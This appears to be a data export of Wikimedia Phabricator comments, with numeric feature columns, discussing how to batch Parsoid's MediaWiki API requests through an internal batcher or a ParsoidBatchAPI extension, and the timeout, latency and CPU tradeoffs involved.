497251,Batch Parsoid's API requests,"Sounds good to me since it looks like it keeps complexity down implementing this since the code can be customized to Parsoid's needs. But, once this is all ironed out and live, we should update docs for 3rd party Parsoid installs about requirement (unless batching can be made optional on the Parsoid end).",,,1437963707,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,108,,2.0,0.0,0.0,3.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,20.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,8.0,7.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,20.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.233333333333333,0.8166666666666667,"Sounds good to me since it looks like it keeps complexity down implementing this since the code can be customized to Parsoid's needs. But, once this is all ironed out and live, we should update docs for 3rd party Parsoid installs about requirement (unless batching can be made optional on the Parsoid end)."
496804,Batch Parsoid's API requests,"@tstarling +1 from me. Your rationale covers all the things I would have brought up (and more). Sorry for being slow, @ssastry is vacationing and I'm not sure if @cscott's been following this thread.",,,1437781827,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,107,,2.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,15.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,4.2439024390243905,0.8780487804878049,"SCREEN_NAME +1 from me. Your rationale covers all the things I would have brought up (and more). Sorry for being slow,SCREEN_NAME is vacationing and I'm not sure ifSCREEN_NAME's been following this thread."
496802,Batch Parsoid's API requests,@tstarling +1 from me. Your rationale covers all the things I would have brought up (and more). Sorry for being @ssastry is vacationing and I'm not sure if @cscott's been following this thread.,,,1437781808,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,107,,3.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,4.447368421052632,0.8947368421052632,SCREEN_NAME +1 from me. Your rationale covers all the things I would have brought up (and more). Sorry for beingSCREEN_NAME is vacationing and I'm not sure ifSCREEN_NAME's been following this thread.
496793,Batch Parsoid's API requests,"No response, so I committed the MW extension to https://gerrit.wikimedia.org/r/#/c/226670/

Still ironing out a couple of issues on the client side. A changeset will appear soon.",,,1437781171,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,20.0,3.0,0.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.8333333333333335,0.9333333333333333,"No response, so I committed the MW extension to URL

Still ironing out a couple of issues on the client side. A changeset will appear soon."
493759,Batch Parsoid's API requests,"Please comment on the idea of doing batch parsing in an extension instead of in a core API module. I'd like to know if it sounds like a good idea before I create the Gerrit repository.

The reasons for doing this were:
* Simpler design, due to the smaller number of clients/stakeholders. Code size is only 135 physical lines, with no internal API calls, compared to 800 for action=parse and 218 for action=expandtemplates.
* Allows the action=parse and action=expandtemplates modules to be easily combined. No need to break my head trying to think about generic Lua frontend batch processing APIs which allow arbitrary actions to be combined.
* An API for parsoid use only can easily be policed for misuse or DoS, e.g. with IP-based access control. No need for restrictive server-side batch size limits which may interfere with optimal performance.
* Expedient output format, based on b/c with action=parse and action=expandtemplates, which allows the client to share code with the fallback case.
* Forking the API provides an easy path towards more aggressive integration with the MW parser, for example output annotation hooks.

The proposed extension name is ParsoidBatchAPI.",,,1437369948,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,1.0,0.3333333333333333,2.3333333333333335,12.0,0.0,2.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,3.3333333333333335,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.666666666666668,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,5.666666666666667,2.0,8.666666666666666,0.3333333333333333,1.3333333333333333,8.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.3333333333333333,1.3333333333333333,0.0,1.3333333333333333,12.0,1.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,1.3333333333333333,1.6666666666666667,0.0,1.6666666666666667,1.0,0.0,0.0,4.2025316455696204,0.7426160337552742,"Please comment on the idea of doing batch parsing in an extension instead of in a core API module. I'd like to know if it sounds like a good idea before I create the Gerrit repository.

The reasons for doing this were:
* Simpler design, due to the smaller number of clients/stakeholders. Code size is only 135 physical lines, with no internal API calls, compared to 800 for action=parse and 218 for action=expandtemplates.
* Allows the action=parse and action=expandtemplates modules to be easily combined. No need to break my head trying to think about generic Lua frontend batch processing APIs which allow arbitrary actions to be combined.
* An API for parsoid use only can easily be policed for misuse or DoS, e.g. with IP-based access control. No need for restrictive server-side batch size limits which may interfere with optimal performance.
* Expedient output format, based on b/c with action=parse and action=expandtemplates, which allows the client to share code with the fallback case.
* Forking the API provides an easy path towards more aggressive integration with the MW parser, for example output annotation hooks.

The proposed extension name is ParsoidBatchAPI."
493757,Batch Parsoid's API requests,"I've written a client-side ""batcher"" class hierarchy, and a MediaWiki extension which does server-side batches of mixed parse and preprocess operations. The impact on both client and server CPU time is substantial, as expected from the discussion on T88915. For [[List of 20th-century classical composers]] with a batch size of 50, node CPU time went from 54s to 29s, and HHVM CPU time went from 216s to 70s.

The impact on latency can't easily be measured in my current test setup.

Unfortunately, it was necessary to treat each item in the batch as a distinct parse operation, with clearState(), since Parsoid wishes to know which categories are generated by which templates. This causes a number of useful caches to be discarded at the start of each batch item. This may be the reason why the HHVM CPU time is still 70s, even though running the text through expandtemplates as a whole takes only 10s. Increasing the batch size from 50 to 500 only reduced the HHVM CPU time to 65s.

If clearState() was not done, it would not be easy to determine which template caused the addition of a given category. Consider the case of a template which is invoked with no arguments, which causes a tracking category to be added. If this template is invoked more than once in a parse operation, the expansion cache will prevent ParserOutput::addCategory() from being called on the second and subsequent invocations. This implies that the expansion cache would need to be disabled or rewritten to support this Parsoid use case.",,,1437368829,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,107,,0.5,0.0,0.0,2.75,0.75,3.25,1.0,0.0,0.25,0.5,1.5,0.5,0.0,0.5,0.0,0.5,0.25,3.25,12.5,0.0,2.0,0.0,0.25,0.0,1.5,0.5,0.25,0.0,0.25,1.0,0.0,3.5,1.75,0.5,0.5,0.0,0.0,0.25,0.0,0.25,0.25,0.0,0.25,3.0,0.25,0.75,0.0,0.0,0.25,17.75,0.75,0.75,0.0,0.25,0.0,0.0,0.0,0.0,0.5,0.25,0.25,0.75,0.0,0.0,0.25,0.5,0.75,6.75,4.0,7.0,1.75,1.75,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,12.5,1.75,0.0,0.5,0.0,1.0,0.0,2.0,2.75,0.0,0.5,0.25,0.0,0.75,4.166842105263157,0.7523684210526316,"I've written a client-side ""batcher"" class hierarchy, and a MediaWiki extension which does server-side batches of mixed parse and preprocess operations. The impact on both client and server CPU time is substantial, as expected from the discussion on T88915. For [[List of 20th-century classical composers]] with a batch size of 50, node CPU time went from 54s to 29s, and HHVM CPU time went from 216s to 70s.

The impact on latency can't easily be measured in my current test setup.

Unfortunately, it was necessary to treat each item in the batch as a distinct parse operation, with clearState(), since Parsoid wishes to know which categories are generated by which templates. This causes a number of useful caches to be discarded at the start of each batch item. This may be the reason why the HHVM CPU time is still 70s, even though running the text through expandtemplates as a whole takes only 10s. Increasing the batch size from 50 to 500 only reduced the HHVM CPU time to 65s.

If clearState() was not done, it would not be easy to determine which template caused the addition of a given category. Consider the case of a template which is invoked with no arguments, which causes a tracking category to be added. If this template is invoked more than once in a parse operation, the expansion cache will prevent ParserOutput::addCategory() from being called on the second and subsequent invocations. This implies that the expansion cache would need to be disabled or rewritten to support this Parsoid use case."
449183,Batch Parsoid's API requests,"We should also keep in mind the effect of batching on overall system reliability. In {T97204} I advocate for tight timeouts in backend services, combined with no client retries when encountering a server timeout. In general, batching makes it harder to establish tight timeouts on end points. We should thus limit it to end points where each batch action has a very predictable processing time, and the overall batch will always complete within a reasonable timeout (< 60s).",,,1429996047,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,94,,1.0,0.0,1.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,2.0,7.0,13.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,6.0,0.0,7.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,0.0,3.0,1.0,0.0,1.0,4.46067415730337,0.7415730337078652,"We should also keep in mind the effect of batching on overall system reliability. In {T97204} I advocate for tight timeouts in backend services, combined with no client retries when encountering a server timeout. In general, batching makes it harder to establish tight timeouts on end points. We should thus limit it to end points where each batch action has a very predictable processing time, and the overall batch will always complete within a reasonable timeout (< 60s)."
449178,Batch Parsoid's API requests,"We should also keep in mind the effect of batching on overall system reliability. In {T97204} I advocate for tight timeouts in backend services, combined with no client retries when encountering a server timeout. In general, batching makes it harder to establish tight timeouts on end points. We should thus limit it to end points where each batch action has a very limited processing time, and the overall batch will always complete within a reasonable timeout (< 60s).",,,1429995562,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,94,,1.0,0.0,1.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,2.0,7.0,13.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,6.0,0.0,7.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,0.0,3.0,1.0,0.0,1.0,4.415730337078652,0.7415730337078652,"We should also keep in mind the effect of batching on overall system reliability. In {T97204} I advocate for tight timeouts in backend services, combined with no client retries when encountering a server timeout. In general, batching makes it harder to establish tight timeouts on end points. We should thus limit it to end points where each batch action has a very limited processing time, and the overall batch will always complete within a reasonable timeout (< 60s)."
413096,Batch Parsoid's API requests,I concur.,,,1424214020,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,85,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,I concur.
413069,Batch Parsoid's API requests,"It is good thing to reduce the load on the API cluster, but I don't think this task should be a VE Q3 blocker. 

Right now,
(a) Parsoid tracks all edits -- so there is going to be no change in Parsoid parsing load (and hence API load) even if VE is enabled everywhere (assuming edit rate stays the same).
(b) The current load on the API cluster is not problematic that forces us to work on this for VE deployment.

So, I suggest that this task be removed from the VisualEditor Q3 Blockers workboard since there are other more higher priority issues to fix in Parsoid land.",,,1424212155,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,85,,0.5,0.0,0.0,1.5,1.5,4.5,2.5,0.0,0.0,0.5,2.0,0.5,0.0,0.0,1.5,2.0,0.0,6.0,9.5,0.0,2.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,6.0,1.5,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,12.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,5.0,12.0,2.0,1.5,7.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,2.5,9.5,6.5,0.0,0.0,0.0,2.5,0.0,1.0,0.5,1.0,2.0,1.5,0.0,1.5,3.65625,0.8125,"It is good thing to reduce the load on the API cluster, but I don't think this task should be a VE Q3 blocker. 

Right now,
(a) Parsoid tracks all edits -- so there is going to be no change in Parsoid parsing load (and hence API load) even if VE is enabled everywhere (assuming edit rate stays the same).
(b) The current load on the API cluster is not problematic that forces us to work on this for VE deployment.

So, I suggest that this task be removed from the VisualEditor Q3 Blockers workboard since there are other more higher priority issues to fix in Parsoid land."
400152,Batch Parsoid's API requests,">>! In T45888#978615, @tstarling wrote:
> The main reason I am leaning towards the internal batcher is because some of the queues will have very little traffic on them, e.g. queues for small wikis. This makes for some uncomfortable tradeoffs when you try to set the dispatch timeout. Consider that parse operations are observed to take ~10s and issue ~100 API requests -- this implies a mean interval between requests on the order of 100ms, and a timeout of at least that much if there is to be any throughput benefit from batching at all. That is quite a long time to wait. From a throughput perspective, the optimal dispatch timeout may be more than 1s.

The amount of batching we can achieve on the long tail is bounded by the maximum latency penalty we are willing to introduce. A global batcher can combine requests from different API clients (not just parsoid), and should thus result in lower average latencies by filling up batches quickly (or reaching a given batching ratio with a lower maximum latency penalty).

Also keep in mind that with selective re-expansion of templates those requests will become less common, which will make the single-client batch even less effective, as there are just less requests to combine within the time window.

> Also, note that Parsoid currently performs API requests with keep-alive disabled. With default socket options, this implies a limit of 470 API requests per second per client server before local port exhaustion occurs, as in T75949. Batching internally, without the involvement of TCP, avoids this limit.

The number of connections has not been an issue in practice & would not change. On the proxy we could also enable [SPDY support](https://github.com/indutny/node-spdy), which reduces the number of connections to one per client & removes some per-request overhead. That said, I think the `Connection: close` bit can be removed. It was a work-around from an early node version IIRC, and is no longer needed.",,,1421339610,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,80,,0.5,0.0,0.0,1.5,1.5,8.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,2.0,0.0,8.5,12.5,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,2.0,1.5,0.0,4.0,0.5,0.5,0.5,0.0,0.0,0.5,0.5,2.0,0.0,0.0,0.5,2.0,0.5,0.5,0.0,0.0,0.0,19.5,0.5,1.0,0.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,7.5,3.5,7.5,0.5,2.5,10.0,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,2.5,12.5,1.0,0.0,0.0,0.0,2.5,0.0,1.0,3.0,0.0,1.5,3.0,0.0,0.5,4.178361035135704,0.7744056385440774,"QUOTE
QUOTE

The amount of batching we can achieve on the long tail is bounded by the maximum latency penalty we are willing to introduce. A global batcher can combine requests from different API clients (not just parsoid), and should thus result in lower average latencies by filling up batches quickly (or reaching a given batching ratio with a lower maximum latency penalty).

Also keep in mind that with selective re-expansion of templates those requests will become less common, which will make the single-client batch even less effective, as there are just less requests to combine within the time window.

QUOTE

The number of connections has not been an issue in practice & would not change. On the proxy we could also enable [SPDY support](URL which reduces the number of connections to one per client & removes some per-request overhead. That said, I think the CODE bit can be removed. It was a work-around from an early node version IIRC, and is no longer needed."
400151,Batch Parsoid's API requests,">>! In T45888#978615, @tstarling wrote:
> The main reason I am leaning towards the internal batcher is because some of the queues will have very little traffic on them, e.g. queues for small wikis. This makes for some uncomfortable tradeoffs when you try to set the dispatch timeout. Consider that parse operations are observed to take ~10s and issue ~100 API requests -- this implies a mean interval between requests on the order of 100ms, and a timeout of at least that much if there is to be any throughput benefit from batching at all. That is quite a long time to wait. From a throughput perspective, the optimal dispatch timeout may be more than 1s.

The amount of batching is bounded by the maximum latency penalty we are willing to introduce. A global batcher can combine requests from different API clients (not just parsoid), and should thus result in lower average latencies by filling up batches quickly (or reaching a given batching ratio with a lower maximum latency penalty).

Also keep in mind that with selective re-expansion of templates those requests will become less common, which will make the single-client batch even less effective, as there are just less requests to combine within the time window.

> Also, note that Parsoid currently performs API requests with keep-alive disabled. With default socket options, this implies a limit of 470 API requests per second per client server before local port exhaustion occurs, as in T75949. Batching internally, without the involvement of TCP, avoids this limit.

The number of connections has not been an issue in practice & would not change. On the proxy we could also enable [SPDY support](https://github.com/indutny/node-spdy), which reduces the number of connections to one per client & removes some per-request overhead. That said, I think the `Connection: close` bit can be removed. It was a work-around from an early node version IIRC, and is no longer needed.",,,1421339535,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,80,,0.5,0.0,0.0,1.5,1.5,7.5,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,1.5,0.0,9.0,12.5,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,1.5,1.5,0.0,4.0,0.5,0.5,0.5,0.0,0.0,0.5,0.5,2.0,0.0,0.0,0.5,2.0,0.5,0.5,0.0,0.0,0.0,19.5,0.5,1.0,0.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,7.5,3.5,8.0,0.5,2.5,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,2.0,12.5,1.0,0.0,0.0,0.0,2.0,0.0,1.0,3.0,0.0,1.0,3.0,0.0,0.5,4.202127659574469,0.7872340425531915,"QUOTE
QUOTE

The amount of batching is bounded by the maximum latency penalty we are willing to introduce. A global batcher can combine requests from different API clients (not just parsoid), and should thus result in lower average latencies by filling up batches quickly (or reaching a given batching ratio with a lower maximum latency penalty).

Also keep in mind that with selective re-expansion of templates those requests will become less common, which will make the single-client batch even less effective, as there are just less requests to combine within the time window.

QUOTE

The number of connections has not been an issue in practice & would not change. On the proxy we could also enable [SPDY support](URL which reduces the number of connections to one per client & removes some per-request overhead. That said, I think the CODE bit can be removed. It was a work-around from an early node version IIRC, and is no longer needed."
399933,Batch Parsoid's API requests,"The two main implementation options are: a batcher internal to parsoid, and a shared node.js batcher service. The internal batcher would operate roughly as follows:

* Instead of having the token handlers directly dispatch HTTP requests, they would send their requests to a batcher service, which would be local to the current parse operation. The batcher API would be slightly different to the HTTP API, since it needs to be able to easily aggregate titles, and the batcher will take over responsibility for HTTP protocol details such as timeouts.
* If the batch is full, the request can be dispatched on the next attempted queue insertion.
* If Parsoid returns to the event loop with requests queued in the batch but not sent, the request could permanently hang. So in relevant code paths prior to returning to the event loop, Parsoid needs notify the batcher, giving it a last chance to check if there are any batch requests queued so that it can dispatch them.
* Additionally, a timeout would be prudent, allowing Parsoid to recover from accidental return to the event loop without notification.

Gabriel suggested an external batcher which, if I understand his proposal correctly, would operate as follows:

* One cluster-wide batch queue per (wiki, action) tuple. 
* Requests to the proxy would be held in the batch queue until either it fills, or some specified timeout (e.g. 10ms) is reached. Then the batch query would be sent to the MW backend.
* While a request is waiting in the batch queue, and while it is waiting for the backend response, the client connections, one per item, would be held open. Responses would be sent to these clients after the batch query returns from the backend.
* This architecture avoids the need for significant changes inside Parsoid.

The main reason I am leaning towards the internal batcher is because some of the queues will have very little traffic on them, e.g. queues for small wikis. This makes for some uncomfortable tradeoffs when you try to set the dispatch timeout. Consider that parse operations are observed to take ~10s and issue ~100 API requests -- this implies a mean interval between requests on the order of 100ms, and a timeout of at least that much if there is to be any throughput benefit from batching at all. That is quite a long time to wait. From a throughput perspective, the optimal dispatch timeout may be more than 1s.

Explicit notification of the idle event avoids severe tradeoffs between batch size and latency. It can be implemented in either the internal or external design. But the need for idle event notification would reduce the attractiveness of the external batcher -- it would make the service stateful and its advantages in simplicity on the Parsoid side would be reduced. There is a risk that idle events could be lost anyway, and a timeout incurred, due to exhaustion of the client connection limit (globalAgent.maxSockets).

Also, note that Parsoid currently performs API requests with keep-alive disabled. With default socket options, this implies a limit of 470 API requests per second per client server before local port exhaustion occurs, as in T75949. Batching internally, without the involvement of TCP, avoids this limit.",,,1421295841,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,80,,1.0,0.0,0.14285714285714285,1.4285714285714286,0.14285714285714285,6.571428571428571,1.1428571428571428,0.14285714285714285,0.0,0.7142857142857143,2.0,0.0,0.0,0.14285714285714285,0.42857142857142855,0.2857142857142857,0.0,3.2857142857142856,12.857142857142858,0.0,1.1428571428571428,0.0,0.5714285714285714,0.0,0.5714285714285714,0.14285714285714285,0.0,0.14285714285714285,0.8571428571428571,2.142857142857143,0.0,4.285714285714286,1.5714285714285714,1.1428571428571428,0.14285714285714285,0.14285714285714285,0.0,0.14285714285714285,0.14285714285714285,2.142857142857143,0.0,0.7142857142857143,0.0,2.7142857142857144,0.0,0.7142857142857143,0.14285714285714285,0.0,0.2857142857142857,17.428571428571427,0.5714285714285714,0.5714285714285714,0.14285714285714285,0.14285714285714285,0.0,0.14285714285714285,0.14285714285714285,0.0,0.8571428571428571,0.2857142857142857,0.0,0.14285714285714285,0.14285714285714285,0.14285714285714285,0.2857142857142857,0.0,0.0,8.0,3.7142857142857144,6.714285714285714,2.0,2.0,10.428571428571429,0.0,0.0,0.0,0.0,4.857142857142857,0.0,0.7142857142857143,0.0,2.2857142857142856,12.857142857142858,2.2857142857142856,0.0,0.0,0.0,2.2857142857142856,0.0,0.42857142857142855,2.0,0.2857142857142857,1.2857142857142858,0.14285714285714285,0.14285714285714285,0.0,4.354297388005253,0.7105282358091347,"The two main implementation options are: a batcher internal to parsoid, and a shared node.js batcher service. The internal batcher would operate roughly as follows:

* Instead of having the token handlers directly dispatch HTTP requests, they would send their requests to a batcher service, which would be local to the current parse operation. The batcher API would be slightly different to the HTTP API, since it needs to be able to easily aggregate titles, and the batcher will take over responsibility for HTTP protocol details such as timeouts.
* If the batch is full, the request can be dispatched on the next attempted queue insertion.
* If Parsoid returns to the event loop with requests queued in the batch but not sent, the request could permanently hang. So in relevant code paths prior to returning to the event loop, Parsoid needs notify the batcher, giving it a last chance to check if there are any batch requests queued so that it can dispatch them.
* Additionally, a timeout would be prudent, allowing Parsoid to recover from accidental return to the event loop without notification.

Gabriel suggested an external batcher which, if I understand his proposal correctly, would operate as follows:

* One cluster-wide batch queue per (wiki, action) tuple. 
* Requests to the proxy would be held in the batch queue until either it fills, or some specified timeout (e.g. 10ms) is reached. Then the batch query would be sent to the MW backend.
* While a request is waiting in the batch queue, and while it is waiting for the backend response, the client connections, one per item, would be held open. Responses would be sent to these clients after the batch query returns from the backend.
* This architecture avoids the need for significant changes inside Parsoid.

The main reason I am leaning towards the internal batcher is because some of the queues will have very little traffic on them, e.g. queues for small wikis. This makes for some uncomfortable tradeoffs when you try to set the dispatch timeout. Consider that parse operations are observed to take ~10s and issue ~100 API requests -- this implies a mean interval between requests on the order of 100ms, and a timeout of at least that much if there is to be any throughput benefit from batching at all. That is quite a long time to wait. From a throughput perspective, the optimal dispatch timeout may be more than 1s.

Explicit notification of the idle event avoids severe tradeoffs between batch size and latency. It can be implemented in either the internal or external design. But the need for idle event notification would reduce the attractiveness of the external batcher -- it would make the service stateful and its advantages in simplicity on the Parsoid side would be reduced. There is a risk that idle events could be lost anyway, and a timeout incurred, due to exhaustion of the client connection limit (globalAgent.maxSockets).

Also, note that Parsoid currently performs API requests with keep-alive disabled. With default socket options, this implies a limit of 470 API requests per second per client server before local port exhaustion occurs, as in T75949. Batching internally, without the involvement of TCP, avoids this limit."
399932,Batch Parsoid's API requests,"The two main implementations are: a batcher internal to parsoid, and a shared node.js batcher service. The internal batcher would operate roughly as follows:

* Instead of having the token handlers directly dispatch HTTP requests, they would send their requests to a batcher service, which would be local to the current parse operation. The batcher API would be slightly different to the HTTP API, since it needs to be able to easily aggregate titles, and the batcher will take over responsibility for HTTP protocol details such as timeouts.
* If the batch is full, the request can be dispatched on the next attempted queue insertion.
* If Parsoid returns to the event loop with requests queued in the batch but not sent, the request could permanently hang. So in relevant code paths prior to returning to the event loop, Parsoid needs notify the batcher, giving it a last chance to check if there are any batch requests queued so that it can dispatch them.
* Additionally, a timeout would be prudent, allowing Parsoid to recover from accidental return to the event loop without notification.

Gabriel suggested an external batcher which, if I understand his proposal correctly, would operate as follows:

* One cluster-wide batch queue per (wiki, action) tuple. 
* Requests to the proxy would be held in the batch queue until either it fills, or some specified timeout (e.g. 10ms) is reached. Then the batch query would be sent to the MW backend.
* While a request is waiting in the batch queue, and while it is waiting for the backend response, the client connections, one per item, would be held open. Responses would be sent to these clients after the batch query returns from the backend.
* This architecture avoids the need for significant changes inside Parsoid.

The main reason I am leaning towards the internal batcher is because some of the queues will have very little traffic on them, e.g. queues for small wikis. This makes for some uncomfortable tradeoffs when you try to set the dispatch timeout. Consider that parse operations are observed to take ~10s and issue ~100 API requests -- this implies a mean interval between requests on the order of 100ms, and a timeout of at least that much if there is to be any throughput benefit from batching at all. That is quite a long time to wait. From a throughput perspective, the optimal dispatch timeout may be more than 1s.

Explicit notification of the idle event avoids severe tradeoffs between batch size and latency. It can be implemented in either the internal or external design. But the need for idle event notification would reduce the attractiveness of the external batcher -- it would make the service stateful and its advantages in simplicity on the Parsoid side would be reduced. There is a risk that idle events could be lost anyway, and a timeout incurred, due to exhaustion of the client connection limit (globalAgent.maxSockets).

